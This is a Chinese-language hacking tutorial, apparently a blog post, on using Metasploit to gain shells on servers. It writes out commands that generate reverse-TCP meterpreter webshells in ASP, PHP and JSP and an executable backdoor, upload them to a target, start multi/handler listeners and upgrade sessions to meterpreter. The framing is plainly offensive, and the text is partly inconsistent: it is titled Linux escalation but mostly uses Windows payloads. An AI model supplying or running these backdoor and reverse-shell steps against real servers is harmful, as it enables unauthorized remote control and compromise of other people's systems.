利用Metasploit進行Linux提權
Metasploit 擁有msfpayload 和msfencode 這兩個工具,這兩個工具不但可以生成exe 型后門,一可以生成網頁腳本類型的webshell ,通過生成webshell 然后設置監聽器,訪問webshell的url,幸運的話可以產生一個session,以便進一步利用。
下面是具體的利用方法。
我們可以通過指令查看msf里的payload 然后記住其位置:使用如下的指令來產生一個webshell,和前邊將的msfpayload的用法類似,只不過這里生成的是一個網頁腳本文件:
產生webshell
1
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后將此webshell上傳到服務器(這個步驟要有上傳權限。)
然后啟動msfconsole
輸入
1
2
3
4
5
6
7use exploit/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(這里的payload要和前邊的msfpayload所使用的一樣。)
set LHOST your_ip
exploit
然后訪問webshell的url,這里使用curl 訪問curl http://host/webshell.asp ,如果exploit執行成功的話就可以看到msfconsole中有返回meterpreter shell。
但是我使用netbox 搭建asp環境老是執行出錯,希望讀者在實際驗證不出錯后再使用。 這里產生的是asp的webshell 也可以產生php webshell,jsp webshell 需要在msfencode時用-t 參數指定腳本類型,我認為php類型的webshell更容易成功。
另外如果獲取服務器擁有可以上傳並且執行上傳文件的權限的話,可以上傳一個msfpayload產生的后門,設置監聽,然后執行后門,返回一個session然后將session轉為meterpreter,這樣就可以方便的使用meter各種特性了。給個步驟:(前提在上邊以及說明了) 1、
1 |
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/cracer.exe |
2、打開msfconsole (另外開一個terminate終端) 3、設置監聽(監聽這個詞好像很高級,別被它嚇到):
1 |
use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,執行exploit |
4、將test.exe 上傳到服務器
5、在服務器上執行test.exe 就可以返回一個shell了。
6、將windows shell 轉成 meterpreter shell:由於使用的payload是shell_reverse_tcp,看名字就知道了返回一個shell,可以在監聽器看到返回了一個windows shell(windows 命令提示符),而不是一個meterpreter shell,這樣就要轉換了,方法是 按下Ctrl + z 使 windows shell 后台運行,然后sessions 指令查看 shell 的session是多少
,然后執行 sessions -u number(number為你找到的windows shell session號。這樣就產生了一個meterpreter shell,可以利用meterpreter強大的功能。也有可能出錯,仔細看出錯信息然后復制其一部分google一下。
可能讀者些疑問:既然可以在上傳執行exe文件,為什么要用msf呢,直接上傳一個強大木馬不是更方便么。我想說因為msf 中有個強大的Meterpreter。
總結,可以發揮想象,挨個試試payloads有的payloads 不能用,也許有意外的發現。
當LINUX提權反彈不了時.經常遇到這種情況 請出MSF ..
1 .生成WEBSHELL文件
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目錄 然后吧dis9.php加 才能運行
把dis9.php傳進你的SHELL里 例如 www.dis9.com/dis9.php
2 . 然后MSF設置接口模板和參數
1 |
msf > use multi/handler //進入 multi/handler 接口 |
3.反彈SHELL
然后訪問你的dis9.php
root@bt4:linkswww.dis9.com/dis9.php
這樣就會反彈一個SHELL
我們就可以繼續FUCK ALL
///////////////////////////////////////////////////////////////////////////////////////////////// JSP
1 |
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp |
——————————————————- 這里沒SET端口 默認的4444